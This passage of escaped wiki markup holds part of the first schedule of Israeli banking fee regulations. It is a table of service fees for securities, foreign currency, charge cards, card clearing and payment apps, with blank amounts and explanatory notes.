&lt;/td&gt;&lt;td&gt;. . . . אחוז (מינימום, מכסימום)&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;ההערות {{ח:פנימי|תוספת 1 פרט 4א.1|שבסעיף (1)}} יחולו גם על סעיף זה&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 4א.3&quot;&gt;&lt;td&gt;
{{ח:תתת|(3)}} '''קניה, מכירה וכתיבה של חוזים עתידיים במעו״ף''' {{ש}} (כולל קניה או מכירה שלא בוצעה)
&lt;/td&gt;&lt;td&gt;{{מוקטן|לפי פירוט שיקבע התאגיד הבנקאי ובלבד שלא יעלה על 2 עמלות}}&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;הערה (1) {{ח:פנימי|תוספת 1 פרט 4א.1|שבסעיף (1)}} תחול גם על סעיף זה.&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 4א.4&quot;&gt;&lt;td&gt;
{{ח:תתת|(4)}} '''קניה, מכירה ופדיון של ניירות ערך בחוץ לארץ''' {{ש}} (כולל קניה או מכירה שלא בוצעה)
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} מניות, אגרות חוב וקרנות נאמנות . . . . אחוז (מינימום, מכסימום)
{{ח:ת}} אופציות . . . . אחוז (מינימום, מכסימוום)
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;
{{ח:תת|(1)}} במקרה של קניה או מכירה שלא בוצעה מסיבה התלויה בלקוח – תיגבה עמלת מינימום רק אם בוצעה פעולה על ידי פקיד;
{{ח:תת|(2)}} עמלה זו תיגבה גם בשל ביצוע השירות בניירות ערך שאינם נסחרים
&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 4א.5&quot;&gt;&lt;td&gt;
{{ח:תתת|(5)}} '''דמי ניהול פיקדון ניירות ערך''' {{ש}} (לרבות יחידות השתתפות בקרנות נאמנות)
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} הנסחרים בארץ . . . . אחוז (מכסימום)
{{ח:ת}} הנסחרים בחוץ לארץ . . . . אחוז (מכסימום)
{{ח:ת}} שאינם נסחרים בבורסה . . . . אחוז (מכסימום)
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;
{{ח:תת|(1)}} לא ניתן לגבות דמי ניהול פיקדון ניירות ערך שאינם נסחרים בבורסה לאחר שנמחקו מהרישום למסחר, למעט במקרה שהלקוח הוא בעל ענין בחברה שניירות הערך שלה נמחקו מהמסחר בעקבות הצעת רכש מלאה, כמשמעותה {{ח:חיצוני|חוק החברות#סעיף 336|בסעיף 336 לחוק החברות, התשנ״ט–1999}};
{{ח:תת|(2)}} לא ניתן לגבות דמי ניהול פיקדון ניירות ערך בעבור מלווה קצר מועד או בעבור קרן כספית כהגדרתה {{ח:חיצוני|תקנות השקעות משותפות בנאמנות (נכסים שמותר לקנות ולהחזיק בקרן ושיעוריהם המרביים)|בתקנות השקעות משותפות בנאמנות (נכסים שמותר לקנות ולהחזיק בקרן ושיעוריהם המרביים), התשנ״ה–1994}}.
&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 4א.6&quot;&gt;&lt;td&gt;
{{ח:תתת|(6)}} '''העברת ניירות ערך'''
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} לחשבון אותו לקוח בגוף פיננסי אחר – . . . . ש״ח (להעברה) (בפיקוח)
{{ח:ת}} לחשבון לקוח אחר – . . . . אחוז (מינימום, מכסימום לתיק)
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;
{{ח:תת|(1)}} ”חשבון אותו לקוח“, לרבות חשבון משותף של הלקוח עם בן או בת זוגו{{ח:הערה|;}}
{{ח:תת|(2)}} העברת ניירות ערך לחשבון אותו לקוח בעת סגירת חשבון לא תעלה על 10 ש״ח להעברת התיק והוצאות צד ג׳&lt;sup&gt;3&lt;/sup&gt;{{ח:הערה|;}}
{{ח:תת|(3)}} ”גוף פיננסי“ – כהגדרתו {{ח:חיצוני|חוק בנק ישראל|בחוק בנק ישראל, התש״ע–2010}}.
&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 4א.7&quot;&gt;&lt;td&gt;
{{ח:תתת|(7)}} '''המרת איגרות חוב ושטרי הון למניות, מימוש אופציות והמרת ניירות ערך דואליים'''
&lt;/td&gt;&lt;td&gt;{{מוקטן|לפי פירוט שיקבע התאגיד הבנקאי על פי סוג הפעולה ובלבד שלא יעלה על 2 עמלות}}&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 4ב&quot;&gt;&lt;td colspan=&quot;4&quot;&gt;'''(ב) – שירותים מיוחדים או עסקיים'''&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 4ב.1&quot;&gt;&lt;td&gt;
{{ח:תתת|(1)}} '''טיפול בהזמנה של ניירות ערך בהנפקה'''
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} איגרות חוב ממשלתיות . . . . אחוז (מינימום)
{{ח:ת}} שאר ניירות הערך . . . . אחוז (מינימום)
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 4ב.2&quot;&gt;&lt;td&gt;
{{ח:תתת|(2)}} '''עמלת הפצה מרוכש יחידת השתתפות בקרן נאמנות'''
&lt;/td&gt;&lt;td&gt;לפי סוג הקרן&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;במקרים המותרים לפי {{ח:חיצוני|תקנות השקעות משותפות בנאמנות (עמלת הפצה)|תקנות השקעות משותפות בנאמנות (עמלת הפצה), התשס״ו–2006}}&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 4ב.3&quot;&gt;&lt;td&gt;
{{ח:תתת|(3)}} '''השאלת ניירות ערך לצורך מכירה בחסר'''
&lt;/td&gt;&lt;td&gt;{{מוקטן|לפי פירוט שיקבע התאגיד הבנקאי, ובלבד שלא יעלה על 2 עמלות}}&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 4ב.4&quot;&gt;&lt;td&gt;
{{ח:תתת|(4)}} '''עמלת קסטודיאן'''
&lt;/td&gt;&lt;td&gt;. . . . אחוז (מינימום, מכסימום)&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 חלק 5&quot;&gt;&lt;td colspan=&quot;4&quot;&gt;{{ממורכז|{{מוגדל|'''חלק 5 – מטבע חוץ&lt;sup&gt;6&lt;/sup&gt;'''}}}}&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 5.1&quot;&gt;&lt;td&gt;
{{ח:תתת|(1)}} '''עמלת חליפין'''
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} {{מוקטן|לפי פירוט שיקבע התאגיד הבנקאי, ובלבד שלא יעלה על 2 עמלות}}
{{ח:ת}} . . . . אחוז (מינימום, מכסימום)
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 5.2&quot;&gt;&lt;td&gt;
{{ח:תתת|(2)}} '''הפקדת מזומן לחשבון מטבע חוץ או משיכת מזומן מחשבון מטבע חוץ'''
&lt;/td&gt;&lt;td&gt;פירוט הפרשי השער&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 5.3&quot;&gt;&lt;td&gt;
{{ח:תתת|(3)}} '''החלפת מזומן''' {{ש}} {{מוקטן|שירות זה כולל: החלפת שטרות בלא שערים, ישנים או פגומים}}
&lt;/td&gt;&lt;td&gt;. . . . אחוז (מינימום)&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 5.4&quot;&gt;&lt;td&gt;
{{ח:תתת|(4)}} '''גביית שיקים במטבע חוץ'''
&lt;/td&gt;&lt;td&gt;. . . . אחוז (מינימום, מכסימום)&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 5.5&quot;&gt;&lt;td&gt;
{{ח:תתת|(5)}} '''הפקדת שיק / פדיון שיק או המחאת נוסעים'''
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} . . . . דולר + . . . . אחוז
{{ח:ת}} {{מוקטן|לפי פירוט שיקבע התאגיד הבנקאי, ובלבד שלא יעלה על 2 עמלות}}
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 5.6&quot;&gt;&lt;td&gt;
{{ח:תתת|(6)}} '''מכירת המחאות נוסעים'''
&lt;/td&gt;&lt;td&gt;. . . . אחוז (מינימום, מכסימום)&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 5.7&quot;&gt;&lt;td&gt;
{{ח:תתת|(7)}} '''שיק בנקאי'''
&lt;/td&gt;&lt;td&gt;. . . . אחוז (מינימום, מכסימום)&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 5.8&quot;&gt;&lt;td&gt;
{{ח:תתת|(8)}} '''טיפול בשיק משוך על חשבון מטבע חוץ ומוצג לגביה'''
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} על ידי בנק בחוץ לארץ . . . . אחוז (מינימום, מכסימום)
{{ח:ת}} על ידי בנק אחר בארץ . . . . אחוז (מינימום, מכסימום)
{{ח:ת}} על ידי סניף הבנק בארץ . . . . דולר
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 5.9&quot;&gt;&lt;td&gt;
{{ח:תתת|(9)}} '''העברת מטבע חוץ לחוץ לארץ ומחוץ לארץ'''
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} חד־פעמית – . . . . אחוז (מינימום, מכסימום)
{{ח:ת}} קבועה – . . . . אחוז (מינימום, מכסימום)
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;העברת רנטות או פנסיות לנפגעי נאצים פטורה מעמלה&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 5.10&quot;&gt;&lt;td&gt;
{{ח:תתת|(10)}} '''העברת מטבע חוץ בארץ ומבנק אחר בארץ'''
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} לחשבון או מחשבון אותו לקוח – . . . . דולר (בפיקוח)
{{ח:ת}} העברה אחרת – . . . . אחוז (מינימום, מכסימום)
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;
{{ח:ת}} ”חשבון אותו לקוח“ – לרבות חשבון שהלקוח מנהל יחד עם בן או בת זוגו.
{{ח:ת}} העברת מטבע חוץ לחשבון אותו לקוח בעת סגירת חשבון לא תעלה על 10 ש״ח&lt;sup&gt;3&lt;/sup&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 5.11&quot;&gt;&lt;td&gt;
{{ח:תתת|(11)}} '''ימי ערך'''
&lt;/td&gt;&lt;td&gt;{{מוקטן|לפי פירוט שיקבע התאגיד הבנקאי בנספח לתעריפון}}&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 5.12&quot;&gt;&lt;td&gt;
{{ח:תתת|(12)}} '''כיסוי אוטומטי של יתרת חובה בחשבון מטבע חוץ'''
&lt;/td&gt;&lt;td&gt;. . . . אחוז&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;
{{ח:תת|(1)}} הכיסוי האוטומטי של יתרת חובה בחשבון מטבע חוץ יבוצע מחשבון במטבע ישראלי;
{{ח:תת|(2)}} חישוב שיעור המחיר יתבצע מתוך הסכום במטבע ישראלי, אשר יומר כדי לכסות את יתרת החובה במטבע חוץ.
&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 חלק 6&quot;&gt;&lt;td colspan=&quot;4&quot;&gt;{{ממורכז|{{מוגדל|'''חלק 6 – כרטיסי חיוב'''}}}}&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 6.1&quot;&gt;&lt;td&gt;
{{ח:תתת|(1)}} '''דמי כרטיס'''
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} {{מוקטן|לפי סוגי כרטיס שיקבע התאגיד הבנקאי בנספח לתעריפון}}
{{ח:ת}} . . . . ש״ח (דמי כרטיס חיוב מיידי – בפיקוח)
&lt;/td&gt;&lt;td&gt;בתום חודש&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 6.1א&quot;&gt;&lt;td&gt;
{{ח:תתת|(1א)}} '''דמי טעינה (לגבי כרטיסים נטענים בלבד)'''
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 6.2&quot;&gt;&lt;td&gt;
{{ח:תתת|(2)}} '''עמלת תשלום נדחה''' בשל עסקאות שבוצעו עד יום י״א בשבט התשע״ה (31 בינואר 2015)
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 6.3&quot;&gt;&lt;td&gt;
{{ח:תתת|(3)}} '''שינוי מועד חיוב''' {{ח:הערה|(נמחקה)}}
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 6.4&quot;&gt;&lt;td&gt;
{{ח:תתת|(4)}} '''טיפול בהכחשה לא מוצדקת של עסקה'''
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 6.5&quot;&gt;&lt;td&gt;
{{ח:תתת|(5)}} '''פירעון מוקדם או פירעון מיידי של עסקאות'''
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;
{{ח:ת}} לבקשה פירעון מוקדם של כל העסקאות בשל ביטול הכרטיס ייחשב לבקשה אחת;
{{ח:ת}} סך כל העמלות בעד ביטול כרטיס אגב סגירת חשבון במקרה שמנפיק הכרטיס הוא הבנק, יהיה כפוף לתקרה של 40 ש״ח{{ח:הערה|.}}
&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 6.6&quot;&gt;&lt;td&gt;
{{ח:תתת|(6)}} '''הנפקת כרטיס חליפי'''
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} הנפקה רגילה . . . . ש״ח
{{ח:ת}} הנפקה מיידית . . . . ש״ח
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 6.7&quot;&gt;&lt;td&gt;
{{ח:תתת|(7)}} '''עסקאות במטבע חוץ'''
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} עסקאות בדולר או באירו . . . . אחוז
{{ח:ת}} עסקאות במטבע אחר . . . . אחוז
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;העמלה תחושב לפי השער היציג של סכום ההמרה במטבע המקורי שלפיו בוצעה העסקה; בהעדר שער יציג תחושב העמלה לפי סכום החיוב במטבע ההמרה של הסולק הבין־לאומי.&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 6.8&quot;&gt;&lt;td&gt;
{{ח:תתת|(8)}} '''משיכת מטבע חוץ'''
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} משיכת מזומן בדולר או באירו ממכשיר אוטומטי – . . . . אחוז
{{ח:ת}} משיכת מזומן במטבע אחר ממכשיר אוטומטי – . . . . אחוז
{{ח:ת}} משיכת מזומן בדולר או באירו בדלפק – . . . . אחוז
{{ח:ת}} משיכת מזומן במטבע אחר בדלפק – . . . . אחוז
{{ח:ת}} משיכת מזומן במטבע חוץ מחשבון המנוהל באותו מטבע – . . . . ש״ח
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;העמלה תחושב לפי השער היציג של סכום ההמרה במטבע המקורי שלפיו בוצעה העסקה; בהעדר שער יציג תחושב העמלה לפי סכום החיוב במטבע ההמרה של הסולק הבין־לאומי.&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 6.9&quot;&gt;&lt;td&gt;
{{ח:תתת|(9)}} '''רכישת מטבע חוץ מחלפן באמצעות כרטיס אשראי'''
&lt;/td&gt;&lt;td&gt;. . . . דולר&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 חלק 7&quot;&gt;&lt;td&gt;{{מוגדל|'''חלק 7 – סחר חוץ'''}}&lt;/td&gt;&lt;td colspan=&quot;3&quot;&gt;לפי פירוט שיקבע התאגיד הבנקאי&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 חלק 8&quot;&gt;&lt;td&gt;{{מוגדל|'''חלק 8 – עסקאות עתידיות, עסקאות בין־מטבעיות ואחרות'''}}&lt;/td&gt;&lt;td colspan=&quot;3&quot;&gt;לפי פירוט שיקבע התאגיד הבנקאי&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 חלק 9&quot;&gt;&lt;td&gt;{{מוגדל|'''חלק 9 – שירותים מיוחדים'''}}&lt;/td&gt;&lt;td colspan=&quot;3&quot;&gt;
{{ח:ת}} לפי פירוט שיקבע התאגיד הבנקאי
{{ח:ת}} {{מוקטן|למשל: שמירת דואר בסניף, שכירת כספות, משיכת מזומן ממכשיר מרוחק שאינו מכשיר נדרש באמצעות כרטיס שלא הונפק בידי התאגיד הבנקאי, טיפול בהמחאת זכות, ייעוץ פנסיוני כהגדרתו {{ח:חיצוני|חוק הפיקוח על שירותים פיננסיים (ייעוץ, שיווק ומערכת סליקה פנסיוניים)|בחוק הפיקוח על שירותים פיננסיים (ייעוץ, שיווק ומערכת סליקה פנסיוניים), התשס״ה–2005}}, משיכת מזומן במכשיר אוטומטי באמצעות כרטיס נטען שלא מקושר לחשבון תשלום אחר&lt;sup&gt;7&lt;/sup&gt;, משיכת מזומן במכשיר אוטומטי באמצעות כרטיס חיוב אשר הונפק בחו״ל או על ידי שלוחה של בנק זר}}
&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 חלק 9א&quot;&gt;&lt;td&gt;{{מוגדל|'''חלק 9א – שירותים ללקוח מזדמן'''}}&lt;/td&gt;&lt;td colspan=&quot;3&quot;&gt;לפי פירוט שיקבע התאגיד הבנקאי מתוך השירותים הקיימים {{ח:פנימי|תוספת 1 חלק 1|1}} ובנספח ו׳ לתעריפון המלא, והמוצעים ללקוח מזדמן&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 חלק 10&quot;&gt;&lt;td&gt;{{מוגדל|'''חלק 10 – יהלומים'''}}&lt;/td&gt;&lt;td colspan=&quot;3&quot;&gt;לפי פירוט שיקבע התאגיד הבנקאי&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 חלק 11&quot;&gt;&lt;td&gt;{{מוגדל|'''חלק 11 – הוצאות צד שלישי'''}}&lt;/td&gt;&lt;td colspan=&quot;3&quot;&gt;
{{ח:ת}} לפי פירוט שיקבע התאגיד הבנקאי בהתאם להוצאות הממשיות. התאגיד הבנקאי יציין בהערות לכל שירות אם נגבו בעדו הוצאות בעבור צד שלישי.
{{ח:ת}} {{מוקטן|למשל: {{ש}} אגרות רישום שונות {{ש}} הערכת שמאי {{ש}} ביטוח הלוואה לדיור EMI {{ש}} ייפוי כוח נוטריוני {{ש}} בדיקת רישומים ברשם החברות {{ש}} בדיקת רישומים ברשם המקרקעין {{ש}} החזר שיק או הרשאה לחיוב חשבון לטובת הבנק {{ש}} הוצאות בנק קורספונדנט {{ש}} הוצאות ברוקר בחוץ לארץ {{ש}} ביטוח כספת {{ש}} דואר לחוץ לארץ {{ש}} דואר רשום {{ש}} משלוח כרטיס חיוב חליפי לחוץ לארץ {{ש}} שימוש במכשירים לקריאת כרטיסי חיוב {{ש}} משיכת מזומן במטבע חוץ בחוץ לארץ בדלפק}}
&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 חלק 12&quot;&gt;&lt;td colspan=&quot;4&quot;&gt;{{ממורכז|{{מוגדל|'''חלק 12 – סליקה של עסקאות בכרטיס חיוב'''}}}}&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 12.1&quot;&gt;&lt;td&gt;
{{ח:תתת|(1)}} דמי ניהול חשבון סליקה
&lt;/td&gt;&lt;td&gt;בית עסק פעיל – . . . . ש״ח&lt;/td&gt;&lt;td&gt;בתחילת החודש בעד החודש שקדם לו&lt;/td&gt;&lt;td&gt;”בית עסק פעיל“ – בית עסק שנסלקה בעבורו פעולת סליקה אחת לפחות במהלך חודש; תאגיד בנקאי לא יגבה מבית עסק פעיל עמלה זו אם סך עמלות הסליקה באותו חודש גבוה ממנה, ובכל מקרה סכומה לא יעלה על ההפרש שבינה לבין סך עמלות הסליקה; העמלה תחושב פעם אחת בחודש בעבור כל סוגי כרטיסי החיוב הנסלקים יחד, ובהתייחס לכלל העסקאות, לרבות עסקאות שנוכו על ידי נותן שירותי ניכיון כהגדרתו {{ח:חיצוני|חוק הבנקאות (שירות ללקוח)#סעיף 7א|בסעיף 7א לחוק הבנקאות (שירות ללקוח), התשמ״א–1981}}&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 12.2&quot;&gt;&lt;td&gt;
{{ח:תתת|(2)}} דמי הצטרפות של בית עסק אלקטרוני
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;”בית עסק אלקטרוני“ – בית עסק המאפשר ביצוע פעולות מכירה או קנייה, שהתשלום בעדן מבוצע באמצעות האינטרנט או באמצעות הטלפון הנייד (הסלולרי)&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 12.3&quot;&gt;&lt;td&gt;
{{ח:תתת|(3)}} שירותי אימות פרטים וביטוח
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} ביטוח עסקה – . . . . ש״ח לעסקה
{{ח:ת}} אימות פרטים לכרטיס – . . . . ש״ח לעסקה
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 12.4&quot;&gt;&lt;td&gt;
{{ח:תתת|(4)}} ביטול עסקה
&lt;/td&gt;&lt;td&gt;. . . . ש״ח לעסקה&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 12.5&quot;&gt;&lt;td&gt;
{{ח:תתת|(5)}} החזר חיוב (Charge Back)
&lt;/td&gt;&lt;td&gt;. . . . ש״ח לעסקה&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 12.6&quot;&gt;&lt;td&gt;
{{ח:תתת|(6)}} עיבוד שובר ידני
&lt;/td&gt;&lt;td&gt;. . . . ש״ח לשובר&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 12.7&quot;&gt;&lt;td&gt;
{{ח:תתת|(7)}} עמלת סליקה
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;לפי פירוט שייקבע בהסכם ההתקשרות עם בית העסק&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 חלק 13&quot;&gt;&lt;td&gt;{{מוגדל|'''חלק 13 – שירותי ניכיון לבתי עסק'''}}&lt;/td&gt;&lt;td colspan=&quot;3&quot;&gt;לפי פירוט שיקבע התאגיד הבנקאי&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 חלק 14&quot;&gt;&lt;td colspan=&quot;4&quot;&gt;{{ממורכז|{{מוגדל|'''חלק 14 – אפליקציית תשלום&lt;sup&gt;8&lt;/sup&gt;'''}}}}&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 14א&quot;&gt;&lt;td colspan=&quot;4&quot;&gt;'''14(א) – שירותים נפוצים'''&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 14א.1&quot;&gt;&lt;td&gt;
{{ח:תתת|(1)}} קבלת תשלום (מעבר לסף פעילות של . . . . ש״ח בשנה)
&lt;/td&gt;&lt;td&gt;כפי שיקבע התאגיד הבנקאי&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;
{{ח:תת|(1)}} עמלה זו תיגבה בעד זיכוי המתקבל בחשבון תשלום שמנהלת אפליקציית התשלום בעבור הלקוח, או זיכוי המועבר לחשבון תשלום אחר של המוטב;
{{ח:תת|(2)}} {{ח:הערה|(נמחקה);}}
{{ח:תת|(3)}} סף הפעילות לא יפחת מ־25,000 ש״ח, אלא אם כן אישר המפקח על הבנקים סכום נמוך יותר.
&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 14א.2&quot;&gt;&lt;td&gt;
{{ח:תתת|(2)}} ביצוע הוראת תשלום (מעבר לסף פעילות של . . . . ש״ח בשנה)
&lt;/td&gt;&lt;td&gt;כפי שיקבע התאגיד הבנקאי&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;
{{ח:תת|(1)}} עמלה זו תיגבה בעד חיוב בחשבון תשלום שמנהלת אפליקציית התשלום בעבור המשלם, או חיוב המועבר לחשבון תשלום אחר של המוטב; השירות אינו כולל משיכת יתרה מחשבון תשלום שמנהלת אפליקציית התשלום בעבור המשלם אל חשבון תשלום אחר של המשלם;
{{ח:תת|(2)}} {{ח:הערה|(נמחקה);}}
{{ח:תת|(3)}} סף הפעילות לא יפחת מ־25,000 ש״ח, אלא אם כן אישר המפקח על הבנקים סכום נמוך יותר.
&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 14ב&quot;&gt;&lt;td colspan=&quot;4&quot;&gt;'''14(ב) – שירותים מיוחדים'''&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת}} דמי מנוי לשירות . . . . (לפי פירוט שיקבע התאגיד הבנקאי ובאישור המפקח על הבנקים)
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
